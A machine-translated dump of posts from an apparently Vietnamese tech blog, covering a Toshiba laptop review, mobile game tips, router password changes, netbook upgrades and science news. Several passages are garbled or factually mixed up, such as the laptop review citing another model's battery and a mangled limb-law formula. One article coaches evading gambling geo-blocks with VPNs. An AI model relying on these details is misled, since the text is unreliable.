bounce of the keys is good, but the keys are a little short, which makes it a bit embarrassing to use and takes time to get used to.\nC600 does not equip keyboard shortcuts but instead integrates on Fx function buttons or numeric keys and Fn keys.\n  The touchpad of the device is of good quality.\nThe Satellite C600's touchpad is a bit small in size compared to the average size on other mainstream 14-inch laptops. However, the quality of this touchpad is quite good, the sensitivity is low, and the lumpy face also helps to manipulate without slippery. Two mouse movies give a very precise but slightly heavy touch.\nPart 2: Screen, performance \n Part 3: Sound, heat sink, battery life. \n Part 4: Compare with some other models.\nPart 2: Screen, performance Screen.   Satellite C600's mirror screen.\nThe C600 comes with a 14 inch mirror screen with a resolution of 1,366 x 768 pixels. This type of screen displays sharp images but is easily glossy when used outdoors or has a light source in front of the machine. When viewing HD videos, the device performs well, almost without image lag. However, in transitions with dark colors it will be difficult to observe because of the shadow.\nPerformance performance. Toshiba Satellite C600-1009U uses Intel Core 2 Duo processor with 2.26 GHz speed, 2 GB DDR3 RAM memory, integrated Intel HD graphics chip, DVD read / write optical drive.\n  Scoring with Windows Experience Index.\nWith the above hardware, this model achieved 3.4 points (taking the low score is clicked due to graphics capabilities for the game) when marked by the Windows Experience Index system on Windows 7 Ultimate (64bit) operating system installed. On a scale of detail, the processor reached 5.7 points, RAM memory was 5.5 points while the graphics capability was 3.9 points and the graphics for the game reached 3.4 points.\n  Scoring with PC Mark Vantage.\nContinuing to use PCMark Vantage program to evaluate overall strength, Satellite C600 reached 3,917 points, equivalent to the low price of about 10 million VND.\n  Score with 3D Mark 06.\nDue to the use of an integrated graphics chip based on the older Intel Core 2 Duo processor, C600's graphics processing capability is not good. The 3D Mark 06 score only stops at 950 points.\n  Microprocessor scoring.\nContinue using the Cinebech 11.5 program to evaluate the processor and try OpenGl. The result is processor with 1.3 points and graphics with 1.21 frames per second.\n  Large hard drive.\nThe hard drive that the C600 uses is 500GB of 5,400 revolutions per minute. In fact, the data reading ethnicity averages 58 MB / sec, slightly lower than the average of 60MB / sec in high-speed drives of 5,400 rpm.\nPart 1: Design, keyboard, Touchpad \n Part 3: Sound, heat sink, battery life. \n Part 4: Compare with some other models.\nPart 3: Heat dissipation, battery life, sound Radiators.   The bottom of the machine has an exhaust fan to increase heat dissipation.   Machine temperature when running CPU full-load (100%) about 30 minutes.\nCompared to the price, the ability of C600's heat dissipation is quite good. With the use of basic applications in launchers with an average temperature of about 26 degrees Celsius, the machine works cool, only slightly warm at the edge of the touchpad and left of the keyboard. Testing for running 3D Mark 06 continuously for about 45 minutes, the machine heats up a bit but still can use two legs in necessary cases.\nBattery life. The ProBook 4430s uses the included 48 Wh 6-cell battery pack. To fully charge from 7% when turning off the whole machine takes about 3 hours or 3 hours 40 minutes while still in normal use.\nExperimental open Firefox loads 10 web pages and automatically reloads every 15 minutes, opens an online music player page and gives continuous playback, using headphones instead of the speakerphone and leaving the volume level at 70%. 50% light for the machine to run until it turns itself off (also at 5%), this time reaches 3 hours 27 minutes.\n  Time to watch movies in HD.\nWhile testing the device to run a standard 720p HD movie and play it back continuously until it is off, turn off the Wi-Fi connection, use a headset instead of the speaker and put it at a volume of 70% (negative Windows Media Player program bar to 100%), 50% brightness for the device to run until it is turned off (with 5% battery level), this time reaches 3 hours 11 minutes.\nThese figures show the battery life of the C600, more than most low-cost models or mainstream laptop models using the previous Intel Core 2 Duo processor. This battery life is similar to the recent Core i second-generation laptops.\nSound.   Speaker system is the most notable strong point on C600.\nNot equipped with Harman / Kardon brand sound, but in C600 still received the favor from Toshiba with the Toshiba Audio Enhancement sound system with high volume. Testing showed that when opened about 95%, enough volume for the room is about 25 m2 for personal entertainment.\nWith Realtek ALC269 audio controller chip similar to the high-end entertainment lines of Toshiba, C600 for clear sound with bass is quite clear though not really outstanding. However, users need to install the correct driver of the new device to fully enjoy the quality of the speaker. By default, drivers installed by Windows have poor sound quality.\nPart 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 4: Compare with some other models.\nPart 4: Compare with some other models Compare with models of the same price range, screen size. Model Toshiba Satellite C600 Compaq Presario CQ42-455TU 14.1-inch 14.1-inch screen 2.26 GHz Intel Core 2 Duo Chip speed 2.26 GHz RAM 2GB DDR3 2GB DDR3 Intel HD Graphics Graphics Intel HD Graphics Drive 500GB 320GB hard connector 2 USB 2.0 ports, card reader, VGA. 3 USB 2.0 ports, card reader, VGA. Weighs 2.13 kg 2.2 kg Highlights Speaker system good Optical drive writes Lightscribe disc labels Part 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 3: Sound, heat sink, battery life. \n\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqyfqLWqrsBmqpqslaG2tbGMnG1paA%3D%3D\n","link":"/post/review-toshiba-satelite-c600/","section":"post","tags":null,"title":"Review Toshiba Satelite C600"},{"body":"Fans of the manga definitely can't miss this game because it retains the original plot, while adding new and engaging content.\n Participating in the game, gamers will collect and own 12 Holy Horsemen to form an army to fight against evil and cosmic monsters to protect the Earth.\nIn this article, let's find out useful Saint Seiya: Awakening tips, helping new players overcome challenges, assemble a team of heroes and defeat evil.\nTips for playing Saint Seiya: Awakening Forming a squad   As they progress and increase their level, the player will begin to create a team consisting of 6 different members. What makes team formation more interesting is being able to create 4 groups to fight together.\nEveryone needs to keep in mind the abilities and stats that increase based on each character's affiliation when creating another party. Each of the 4 warrior setups that players put together must have at least 4 people able to trigger one or more links.\nManual and Automatic   Whenever they want to get into a battle, players can either do traditional turn-based attacks or let the AI ​​make first move combat styles.\nSpeeding up the battle to the maximum and turning on the auto-battle option is the way to go, if you have a strong team and need to defeat your opponent in a flash.\nFollow the task structure   Players need to follow the mission structure as it helps to unlock many new characters and rewards just by completing the story and side quests. Remember to check the Novice Welfare tab for achievement rewards.\nThere is a long list of achievements to complete here, completing them will bring gamers many useful items.\nMake sure to follow the progress before the end of the event time to get rare characters and equipment.\nParticipate in daily events Another mode that people will need to spend a lot of time playing will be Daily. Remember to complete a series of unlocked battles there.\nOnce you reach level 31, there will be multiple battle options to choose from. When completing most of the content in that mode, players will receive a lot of XP, gold, diamonds and some other rare items.\nConstant efforts will help to achieve daily achievements, earn more points and bonuses.\nComplete Dimension Awakening and Epic Ruins modes   Try to spend some time hunting XP, put all your energy into participating and completing Dimension Awaken or Epic Ruins battles. Everyone will have to spend the entire daily session climbing up the battle levels to challenge other players and get some rewards.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmarkZ67tXnSnqCymV2WxKK3xKegp58%3D\n","link":"/post/tips-for-playing-saint-seiya-awakening/","section":"post","tags":null,"title":"Tips for playing Saint Seiya: Awakening"},{"body":"As online gambling continues to grow as a popular form of entertainment around the world, more and more players are logging in while at home and while traveling to play their favorite casino and sports betting games.\nUnfortunately, due to local laws, cultural, moral, or religious beliefs, or other restrictions, some countries or localities do not allow online gambling within their jurisdictions. So, if you happen to be living in or traveling in one of these areas, you may find that you're unable to access the sites you want to visit.\nWhy can't I connect? If you find yourself with restricted or blocked access to your favorite online casino sites, the cause is most likely due to the country's laws, which rely on the gambling websites themselves to filter out and block IP addresses, based on your geographic location.\nIt's not uncommon to find your favorite gambling site blocked when traveling abroad. Fortunately, a suitable VPN can help you deal with this issue successfully.\nThe best VPNs for online gambling VPNs have been employed by savvy tech users for quite some time to protect their information while browsing on all of their devices, whether laptop, smartphone, tablet, or desktop computer. Sometimes used in conjunction with proxy servers, VPNs, or Virtual Private Networks, are secure connections across a private network connection that provide security and anonymity while allowing users to bypass geographic internet restrictions.\nDespite their usefulness in security and data protection, not all VPNs are created equal when it comes to online gambling. These are some of the best VPN options that players use to access their favorite sites when they may otherwise be blocked.\n#1. NordVPN   NordVPN is the go-to choice for online gambling due to its secure connection, advanced encryption, and comparably fast connection speed. NordVPN keeps no logs of its users' online activity, making it one of the best choices out there.\nWith a wide range of security features, lots of server options, and a 30-day money-back guarantee, you can play safely with peace of mind with NordVPN.\n#2. Surfshark Surfshark is one of the most user and budget-friendly VPN options out there. If you'd rather spend your money on your favorite casino games rather than your VPN service, Surfshark is the way to go.\nOffering over 1700 servers in 63 countries worldwide, Surfshark has no connection limits, fast server speed, and a host of top-notch security features, including OpenVPN protocol, 256-bit AES encryption, a kill switch, ad-blocker, Whitelister, MultiHop, and more.\n#3. ExpressVPN   One of the most stable options on this list, the Express VPN application is compatible with Android, iPhone, Windows, and Mac, and even has a command-line client for Linux — so you can start placing your bets quickly and securely, no matter which device you use.\nIn addition to offering a 30-day money-back guarantee, ExpressVPN offers virtual locations in over 94 countries, making it one of the most versatile options for online gambling and sports betting available.\n#4. PrivateVPN PrivateVPN is a bit of a new-kid-on-the-block when it comes to VPN services but is already showing a lot of promise. Currently only providing access to 150 servers in 60 countries around the globe, PrivateVPN is nevertheless a reliable option and capable of unblocking a wide range of content, including gambling websites, from abroad.\nIf you're looking for a cheap and dependable VPN for online betting, PrivateVPN is a great choice.\n#5. CyberGhost The last few years have seen some significant expansion for CyberGhost's VPN service with their coverage offering nearly doubling in scope. One of the most trusted VPNs on this list for online gambling, CyberGhost keeps no activity logs for its users and uses the highest level of encryption standards.\nFeaturing very reasonable prices, top connection speeds in the industry, and a generous 45-day money-back guarantee, CyberGhost is an excellent option for price and protection.\nBest practices for using a VPN to gamble online It's important to recognize that there are certain risks associated with using VPNs online to play casino games before you get started. Use these simple tips to make the most of your VPN gambling experience.\nAlways connect to your VPN before accessing an online casino, masking your IP geolocation, ensuring security and solid encryption. Be sure to read the operator's terms of service before playing. Some online casinos prohibit the use of VPNs and doing so might result in your account getting frozen or terminated. Never attempt to withdraw winnings while playing abroad or using a VPN. The purpose of the VPN is to allow you to play while away from home but withdraw funds from online casinos involves verifying your identity. If the operator discovers you're not in the location you claim, your account could be locked or deactivated. ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kr6ieqHqnu9FmnpqlkqG2r7M%3D\n","link":"/post/top-5-vpns-for-gambling/","section":"post","tags":null,"title":"Top 5 VPNs for Gambling"},{"body":"   Netbooks can upgrade RAM, hard drive and improve wireless connection speed. \n With memory , the upgrade is easy because netbooks have an empty RAM slot. However, the memory upgrade needs to pay attention to the warranty of the manufacturers, most of the companies do not warrant for customers to \"add\" their computers to upgrade the internal hardware. . There are some exceptions, Asus allows customers to upgrade mag memory without affecting warranty commitments. MSI also requires customers to contact the company before upgrading. After RAM, the second part is chosen to upgrade the most popular hard drive . The first generation netbooks use solid-state drives with capacities of 4-8GB. With netbooks using SSDs, replacement is difficult but there is another way to increase storage capacity. Nebooks like the Eee PC with SDHC memory card slot can be used to plug another SSD 4 or 8 or 16GB hard drive or you can use a 16GB USB card to store. Some hard drive manufacturers like Buffalo and Super Talent are also about to launch SSD 32 and 64GB hard drives that can plug into the PCIe slot. Most netbooks have integrated G (802.11g) Wi-Fi connectivity with a maximum speed of 54Mbps. Some recently released netbooks such as Medion Akoya Mini and Eee PC 1000H support standard N wireless (802.11n) wireless connectivity for theoretical speeds of up to 300 Mbps. But the standard Wi-Fi netbooks can be upgraded to higher-speed N by plugging a wireless card (like Intel 49565AGN) into a Mini PCIe port.\nncG1vNJzZmismaXArq3KnmWcp51kwrGz0ZqbnmWWpL9uusStmainm6g%3D\n","link":"/post/upgrade-for-netbooks/","section":"post","tags":null,"title":"Upgrade for netbooks"},{"body":"  What does the hole in the back cover of some Intel CPUs do? The hole in the back cover of some of these CPUs is what Intel calls a vent hole - the 'vent' that dissipates heat and aligns.\nAt the Intel factory, the back cover (IHS) is glued to the circuit part of the CPU with epoxy glue. Then, this hole will be the place for the air to escape. Without it, the air will be trapped inside the CPU causing the air pressure to increase, causing the glue line to deform, causing the glue to be uneven.\nDoes the heat sink glue get in? However, old thermal paste often falls into this hole and is very difficult to remove. According to Intel's confirmation, it will be okay for normal non-conductive thermal paste to fall into that hole.\nHowever, with a liquid metal glue capable of conducting electricity, it is a different story. Some people think that there are a few small components under the CPU cover, so if the liquid metal glue sticks to it, it will cause short and damage. So, if you intend to remove the CPU cover and apply liquid metal thermal paste, you should be careful with CPUs with holes. To ensure safety, it is best to seek the help of a professional repairman to avoid possible unfortunate incidents.\nthermal paste Intel CPU ncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYsGpsYyhpqWdXZ67bsDHnmSbmZOgeqS71Z6pZqeWYsCwucRmoKeslaF6pLzUrGSdpw%3D%3D\n","link":"/post/what-does-the-hole-in-the-back-cover-of-some-intel-cpus-do/","section":"post","tags":null,"title":"What does the hole in the back cover of some Intel CPUs do?"},{"body":"Mark Changizi, an American neuroscientist, has developed a simple mathematical formula to explain the amount of an organism, from insects to mammals, even aliens. The name is the law of chi (Limb Law) .\nWhy do human thumbs only have 2 burns? Cases of superfluous body parts in the world 5 parts of new scientific world discovered in human body Changizi's formula is based on the length of the limbs and body radius. The amount of the organism (N) is calculated as follows:\nN≈2π / k.\nL is the length of the genus. R is the body radius. k is the chi ratio, k = L / (L + R). With this formula, the shorter the length of the limbs, the more accurate the result.\nChangizi tested the chi recipe with more than 190 species of organisms. The results show an amazing coincidence.\nWith some special cases such as snakes, the length is zero, we have k = 0 and N is infinite. Thus, the snake is considered to have countless limbs but the length of chi is zero.\n  At the number of fingers on the human hand is not 4 or 6 but 5.\nFor humans, we will apply the law of chi to the hand that explains why it has 5 fingers.\nThe human hand has the length of the finger approximately the diameter of the palm. This means that the length of the finger is twice the radius of the palm.\nApply to the formula we have:\nL ≈ 2R\nk ≈ L / [L + (L / 2)] = 2/3\n=\u0026gt; N ≈ 2π / k ≈ 9.42\nThe hand is not a separate creature, it attaches to the arm on nearly half of its circumference and the fingers can only grow from the other half of the circumference. Therefore, the number of fingers on one hand is 9.42 / 2 = 4.71, rounded to 5 fingers.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZqCloq6veceapZ2rXZ2ut7GMbmSfoZ6csrO%2F\n","link":"/post/why-do-human-hands-have-5-fingers/","section":"post","tags":null,"title":"Why do human hands have 5 fingers?"},{"body":"Shooting games have always been one of the most loved genres. But if your PC configuration is low, it will be difficult to experience the joy of this game. Don't worry because you can play FPS games right in the browser without the need for a huge PC.\n1. Krunker Despite having Minecraft-like graphics, Krunker has all you need for a shooter.\n  When entering the game, you will be able to choose different character classes. Each class will be provided with a specialized weapon such as rifles, submachine guns, sniper rifles, etc. As you spend time playing and leveling up, you will unlock better weapons and skins for guns.\nKrunker has a lot of servers and is always full of players. The game has eye-catching and vivid graphics. Mechanism of aiming and moving is flexible, much more accurate than other games. The special thing is that you can also bunny hop to move a lot faster.\n2. Mini Royale 2   Do you love PUBG or Freefire? Mini Royale 2 is a famous Battle Royale game on the web browser. This is a fast paced action game with a small map, 10 players can play together. Your task is similar: find yourself equipment to confront other players. The circle will shrink and you will have to be the last person to survive. The cartoony graphics of Mini Royale 2 are enough for you to have an enjoyable experience.\n3. Global Strike   Global Strike may not be the best browser shooter, but it still holds up a massive player base. Because this game is like a copy of childhood Counter-Strike 1.6.\nGlobal Strike has modes including Team Deathmatch, Capture Flag and some other classic modes. Zombie mode also received much love from players. The weakness of Global Striker is that the server sometimes has a lag phenomenon.\n4. Bullet Force   Bullet Force was released on Android, and now it's available in the browser. The graphics of this game are very good compared to a browser version, the most beautiful and detailed on this list. Bullet Force has a lot of maps and game modes for you to choose from. It also has a skin system for you to create a personalized look. The control mechanism in the game is also very accurate, with support for aiming mode to bring an experience close to Warface or Call of Duty.\n5. Superhot   Superhot is actually a PC and VR game, it also has an interesting web browser version. The web browser version only showcases a snippet of the full version, but it's well worth the experience.\nSuperhot introduces you to a fantasy world where you have the power of time. Time only works when you're on the go. That is, when standing still, you can even see the bullet fly by. Superhot will give you challenges of increasing difficulty, you must skillfully use your ability to destroy opponents. The special thing is that this game also has an attractive storyline.\n6. Wolfenstein 3D   Surely many people will find this game very familiar. Yes, that's the classic Wolfenstein, and now it's distributed in the web browser. Wolfenstein 3D is based on the period of World War II, when the Nazis became powerful. You are an Allied prisoner who must escape from a German prison. The control mechanism of the game is quite old, bringing a sense of nostalgia like never before.\n7. Doom 3D   Similar to Wolfenstein, Doom is also a retro game, it uses the same idTech engine as Wolfenstein. Doom is set in the post-apocalyptic world of humanity on Mars. You play as a lone Doom Slayer who must brace himself to fight the demons as they have taken over Mars. Doom 3D has plenty of well-hidden loot on your way.\n8. Rush Team   Rush Team is a shooting game that brings together the classic map of Counter-Striker and the aiming (right-click) mechanism of Call of Duty. Rush Team has rich game modes including Singles Duel, Team Battle, Capture the Flag and Place Bomb.\nBecause of its compact nature, the game can't have top-notch graphics, but it's not too bad either. The guns are designed quite beautifully. The shooting mechanism is stable and not too recoil. The minus point of Rush Team is that the sound experience is not good and the number of players is quite small.\nThe game has servers on all continents and you can easily create a room with your friends without much connection problems.\nfps web game ncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZpqipMS0sdFmnamrXZyurrHS\n","link":"/post/8-best-browser-fps-games/","section":"post","tags":null,"title":"8 Best Browser FPS Games"},{"body":"Since its launch, the flagship Galaxy S9, Galaxy S9 + duo has attracted the attention of technology lovers. Besides the impressive Camera and terrible memory, the smart emoji AR Emoji is also a unique feature that is highly appreciated on this device. Emoji is an interesting feature on Samsung Galaxy S9, with this feature you can easily create emoticons that look, play and move like the users. Listening to this feature, many people can immediately think of the similarity as the Animoji feature of Apple iPhone X. However, the actual experience shows that their mechanism is completely different and Samsung seems to stand out. more . To discover more about this feature, here are the detailed instructions on how to use Emoji on S9. Invite you to consult!\n6 tools to 'play' with super-toxic emoji that you never knew Do you know how to use Emoji emoticons on Linux? Apple's new Emoji is coming with many character and expressive animations Step 1 : Take a photo Selfie\n  First start the S9 camera and select AR Emoji on the slider at the top of the screen. Next, click Allow on the window that appears to confirm access and start creating Emoji.\n  When the camera starts to show your image, you smile and start shooting as usual. Note, when shooting Emoji, you should remove the glasses if you are wearing glasses and unscrew the hair to the side so that it is very neat and clear. Now you just need to select the gender and click Next to continue.\n  Step 2 : Create AR images on Emoji After completing the shooting, your face will be processed to be Emoji launcher. Here you will have a lot of characters to choose from to represent you in many different styles.\n  Emoji also allows you to change your hair color, skin, and outfit to help you best represent your personality, just click on the slider at the bottom to choose.\nIf you want to be cute, you can choose the right glasses for you. On Samsung's Emoji feature, it can be seen that the manufacturer has integrated many types of glass with various designs, suitable for many people's preferences. So you can be creative.\n    When you are satisfied with your choices, select OK and receive your 'Emoji will be available as a sticker on the keyboard'. To save and click OK, do not touch the X in the upper right corner of the screen.\nStep 3 : Try your own Emoji\n  Once you have completed the steps to edit your object, the camera will be rebooted with the image you just created on the screen. You click on the image and move at every angle to enter more data, AR Emoji will follow the steps you take.\nWith this representative cartoon character, you can capture images or record videos. In addition, you can switch back to normal mode by selecting another 'setting' at the top of the camera screen.\nSee more:\nGalaxy S9 and S9 +: Things to know about this latest flagship of Samsung Download a beautiful set of wallpapers for the Samsung Galaxy S9 and S9 + duo This is all you can do with enhanced virtual reality (AR) in Samsung Galaxy S9 and S9 + ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZq2enr62sYyepKiimWLAqa3Pnqpmp55iwKK50q6loGWXlrmixNhmqnI%3D\n","link":"/post/create-unique-emoji-shapes-on-samsung-galaxy-s9/","section":"post","tags":null,"title":"Create unique Emoji shapes on Samsung Galaxy S9"},{"body":"A new study shows that the theory that scientists still believe in nearly a century: dark energy accounts for more than 68% and dark matter accounts for 27% of the universe, the planets and why only occupy about 5% is not correct.\nNew research confirms: The mystery of \"dark energy\" may not exist After all the mysterious material that occupies more than half of the universe hidden for billions of years has been discovered Scientists believe that dark energy, which promotes the acceleration of the universe's expansion, is stronger than gravity and dark matter, which makes stars move. These are two of the biggest mysteries of astronomy.\n  But a researcher from the University of Geneva (UNIGE) in Switzerland has illustrated phenomena without the need for dark matter and dark energy. Accordingly, the two concepts of dark matter and dark energy are no longer reasonable.\nAccording to Science Daily, the universe and evolutionary history are characterized by equations in Einstein's general theory of relativity, quantum mechanics and Newton's universal gravitation. The current central universe model is big bang and expansion.\n Traditional universe model.\nAccording to André Maeder, emeritus professor of astronomy at UNIGE, the traditional model does not take into account the scale variation of empty space, which forms Einstein's relatively broad equations, which are expressed by a number often called \"cosmological constant\".\n  Einstein's relatively broad original equation.(Photo: UTokyo Research).\nMaeder has changed the assumption of empty space in the old model from constants to variables to build and test three new models.\nThe first model was built based on Einstein's general theory of relativity , physical equations that included accelerating expansion of the universe. The calculation results are consistent with the observations. This model does not need dark energy elements or molecular energy but still predicts the accelerating expansion of the universe.\nThe second test is based on Newton's gravity (a specific version of the relatively wide equations) applied to galaxy clusters. This model can explain the high speed of galaxies in galaxy clusters without the need for dark matter.\nThe third experiment examined the speed dispersion of stars around the Milky Way galaxy, the galaxy that contains the Earth. This speed dispersion is clearly explained based on the traditional null (unchanging) null space hypothesis. This unique result is something that science has yet to agree on.\n  Professor André Maeder's new discovery will pave the way for a new concept that raises questions and controversies in astronomy. He said that dark matter and dark energy, two of the universe's greatest mysteries were finally decoded.\nThe study was published in the Astrophysical Journal physical astrophysical journal.\nHistorical discovery, dark matter research and dark energy\nIn 1933, Fritz Zwicky, a Swiss astronomer announced a world-shocking discovery: the universe has more matter than what we have seen in reality and that matter is called dark matter.\nBy the 1970s, American astronomer Vera Rubin used the concept of dark matter to explain the movement and speed of stars making it even more important.\nIn 1998, a group of Australian and American astrophysicists discovered the acceleration of the expanding universe and were called dark energy that was thought to be stronger than Newton's gravity. This discovery is again the second shocking world and it was awarded the Nobel Prize for Physics in 2011.\nSince its discovery, scientists have done a lot of research to determine dark matter and dark energy but all have no results. They have become two mysteries that have challenged astronomers for almost a century.\n  In April this year, a group of Hungarian scientists also published a hypothesis that the new model of the universe does not need dark energy. This theory considers the density of the universe to be different, so the expansion of the universe is also different. The calculation results also show that this model is consistent with general relativity and also explains the expansion of the universe without dark energy.\nSee also: Dark matter, dark energy and unexplored mysteries\nncG1vNJzZmismaXArq3KnmWcp51ksaK%2Bymacp52inMZurc2dZJ2ZoqB6rq3TrZyrZZ2Wxm66zq1knrCZqMFurdJmqpyhlaPBqr%2FTrGSbnZyesrexjJ%2Bmq2Wemq6zuNhmmGablaPBtr7Y\n","link":"/post/dark-energy-and-dark-matter-may-not-exist-as-scientists-believe-for-nearly-a-century/","section":"post","tags":null,"title":"Dark energy and dark matter may not exist as scientists believe for nearly a century"},{"body":"With most modem devices after installation is complete, including FPT Gpon modem of FPT will be provided with any password to use. And in the process of using WiFi, it is essential to regularly change WiFi passwords to prevent unauthorized access, or to increase the speed of a more stable connection to WiFi. In the following article, we will guide you how to change FPT WiFi WiFi Modem Gpon.\nHow to change the TP-Link wifi password? How to change wifi password Tenda? 2 steps to change Linksys wifi password Instructions to change pass FPT WiFi Modem Gpon Step 1: First, we connect the modem to the computer with a network cable. You open the browser on your computer and then log in to http://192.168.1.1 .\nAt the main interface, we enter the Usernam by default as admin and Password is also admin and then click Login .\nNote , this is the password as well as the default username of FPT WiFi WiFi modem. In case you have changed your password, contact the center to restore the default password.\n  Step 2: Next we access the Network section and select WiFi in the list menu on the left of the interface. Looking to the right, we can change the WiFi network name and WiFi password as follows:\nSSID Name: change the name of the new WiFi. Depending on the needs of the user, you can change the name or keep it as it was. WPA key: password for WiFi. We will change the new password for WiFi. Finally click Save below to save the new password for FPT WiFi Modem Gpon.\n  Step 3: Now proceed to connect to WiFi after you have changed your password. If you still keep the old WiFi name and use a new password, we will receive a notification that you cannot connect to that WiFi. Very simply, we only need to delete the history of connecting to the previous WiFi network to establish a reconnection on the computer.\nOn Windows 7 operating system:\nAt the computer screen, click on Network\u0026gt; Network and sharing center\u0026gt; Manager Wireless networks .\nThen, right- click on that WiFi name and select Remove Network to delete from the list of accessed WiFi.\n  On Windows 10 operating system:\nFirst of all, you access the folder under the Settings\u0026gt; Network \u0026amp; Internet\u0026gt; WiFi\u0026gt; Manage Wi-Fi Settings .\n  Next, scroll down to the bottom and left click on the WiFi name you want to delete and select Forget . After that you just need to reconnect to the new WiFi that has changed the password.\nReaders can refer to the article How to delete Wifi saved on Windows 10 ?.\n  So you have completed the operation of changing passwords for WiFi Gpon modem of FPT. In case users use personal WiFi network, we should proceed to change both WiFi name in SSID name and password to be able to connect to WiFi more quickly, without taking steps to delete old WiFi connection in computer.\nRefer to the following articles:\nInstructions for installing Wifi Router Tenda W311R Fix IP address conflict error on Windows computer Instructions for fixing Wifi errors with yellow exclamation I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyfp61lp56zqnnPmqqsr5%2BnsQ%3D%3D\n","link":"/post/how-to-change-fpt-wifi-password/","section":"post","tags":null,"title":"How to change FPT WiFi password"},{"body":"Garena Free Fire has officially announced the first combination of the year 2021 with the presence of the famous Japanese superhero brand One Punch Man. This partnership brings events along with a wide range of items. Don't miss the chance to get Saitama and Genos character costumes, backpacks, Gloo Wall skins, emojis, gun skins and more.\nWhile some of these items are provided for free, others will definitely cost players a lot of diamonds. Gun skin Genos M4A1 is the latest item that Garena put into the game and you will certainly not take your eyes off this simple but cool looking gun skin. Therefore, Taimienphi.vn will guide you on how to get Genos M4A1 skin from Weapon Royale in Free Fire right now.\nGenos M4A1 skin in Free Fire M4A1 - Genos is a pistol skin for M4A1, providing an extremely high rate of fire but in exchange for a modest amount of ammo. The gun has a metal texture, similar to the metal alloy One Punch Man's Genos character has. It looks stunning, surrounded by yellow LEDs.\n  The new M4A1 Genos skin is part of a collaboration between Free Fire and One Punch Man. It was only available in Weapons Royale for 18 days. Players must use diamonds to spin and get this skin. However, it should be noted that the chances of getting the M4A1 Genos skin are not guaranteed. You cannot be sure to win it after a certain number of shots. Each spin costs 40 diamonds, but you can buy 11 spins for just 400 diamonds.\nThe more spins you make, the more chances you will get the M4A1 Genos skin. However, there is no 100% guarantee that you will get it. Follow these steps to try your luck in Weapon Royale.\nStep 1: Open Garena Free Fire and select Lucky Royale located on the left side of the screen.\n  Step 2: You will see M4A1 - Genos skin here.\n  Step 3: Pay diamonds to spin the wheel.\nPlayers can win all weapon skins from Luck Royale . Here is a list of all the possible rewards:\n- M4A1 - Genos - SKS - Urban Rager - SAS12 - Urban Rager - AK47 - Urban Rager - Famas - Roman Empire - Kar98K - Roman Empire - MP5 - Roman Empire - AK47 - Roman Empire - SKS - Bumblebee: Sting - SPAS12 - Bumblebee: Swarm - MP5 - Bumblebee: Rattle - AK47 - Bumblebee - Groza - Pharaoh's wings - SPAS12 - Pharaoh's eyes - M1014 - The rage of Pharaoh - Kar98K - Pharaoh's eye M4A1 - Genos is a gun skin dedicated to the Free Fire x One Punch Man event and may no longer appear in the game after the event ends. So don't miss your chance to get one of these rarest and most exciting skins. The One Punch Man collaboration event in Free Fire is just getting started. Enter the game and join to receive exclusive and attractive event items.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqosc2oqmalZJZ%2Bbr%2FKoqVmoZ5is7OxxGadoqqV\n","link":"/post/how-to-get-genos-m4a1-skin-in-free-fire/","section":"post","tags":null,"title":"How to get Genos M4A1 skin in Free Fire"},{"body":"Poke Origin, the game has a standard gameplay from Nintedo with beautiful 3D graphics and has up to 800 Pokemon in the game, has created an effect that attracts many gamers. The reason Poke Origin attracts a lot of attention of gamers is because the game creates a separate gameplay compared to many Pokemon games available on the market today.\nLike many other titles, Poke Origin has gifts that support original gamers in the form of Giftcode. The instructions below will help you get your Poke Origin gift code.\nHow to emulate old Pokémon games on Android phones Guide to play Pokemon Masters Instructions to download Pokemon Master on the phone Instruction to receive gift code Poke Origin Step 1: First, go to the link below to receive gift code and enter your phone number and select I am not a robot then click Confirm below.\nLink receives gift code Poke Origin\n  Step 2: Next Poke Origin will ask you to Like and Share on Facebook to receive Vip code.\n  Log in to your Facebook account and share your Poke Origin gift recognition event.\n  So you have registered to receive the code when Poke Origin. Now wait for the Open Beta period, the Origin gift code will be sent to the phone number you registered. Gifts you will receive include:\n500 Diamonds 120 Stamina The title \"Hard Fan 20 years\" Pokemon SSR: Foakie   This gift will help a lot for gamers in the beginning when playing the game and have an advantage over those who do not receive this rookie reward in Poke Origin.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqotcWtZJynlJp6sbvKnmSoqpmctq8%3D\n","link":"/post/how-to-get-gift-code-poke-origin/","section":"post","tags":null,"title":"How to get Gift Code Poke Origin"},{"body":"In iOS 14 and iPadOS 14, Apple has added an accessibility feature called Sound Recognition, which allows iPhones and iPads to hear certain sounds, such as a baby's doorbell or baby's cry, and warns the user when playing. show up.\nHere's how to enable Sound Recognition on devices running iOS 14‌ or ‌iPadOS 14‌.\nTurn on Sound Recognition on iPhone and iPad Step\u0026nbsp;1. Launch the Settings application on the device.\nStep\u0026nbsp;2. Click Accessibility.\nStep\u0026nbsp;3. In the Hearing section , select Sound Recognition.\nSelect Sound Recognition Step 4. Switch the Sound Recognition switch to the green ON position and wait a moment for the download feature. Note that enabling the option requires 5.5 MB of storage space on the device.\nStep\u0026nbsp;5. Click Sounds.\nStep\u0026nbsp;6. Select the sound you want your device to listen to by turning on the switch next to each option.\nSelect the sound you want your device to listen to When the feature is turned on, ‌iPhone‌ or ‌iPad‌ will continuously listen to the sound you have chosen and use your intelligence on the device, then notify you when those sounds are recognized.\nAdd Sound Recognition to the Control Center Once Sound Recognition is turned on, you can add it to your device's Control Center to make it easier to turn on and off.\nStep\u0026nbsp;1. Launch the Settings application on ‌iPhone‌ or ‌iPad‌.\nStep\u0026nbsp;2. Click Control Center.\nStep\u0026nbsp;3. In the More Controls section , click the green plus ( + ) button next to Sound Recognition to add it to the Included Controls list . You can use the hamburger handles on the right side of the list to arrange them in the desired order.\nClick the green + button next to Sound Recognition to add it to the Included Controls list When you're done, you can access the Sound Recognition button by launching Control Center on your iOS device (on ‌‌iPad‌‌ or with the Home button, double-clicking 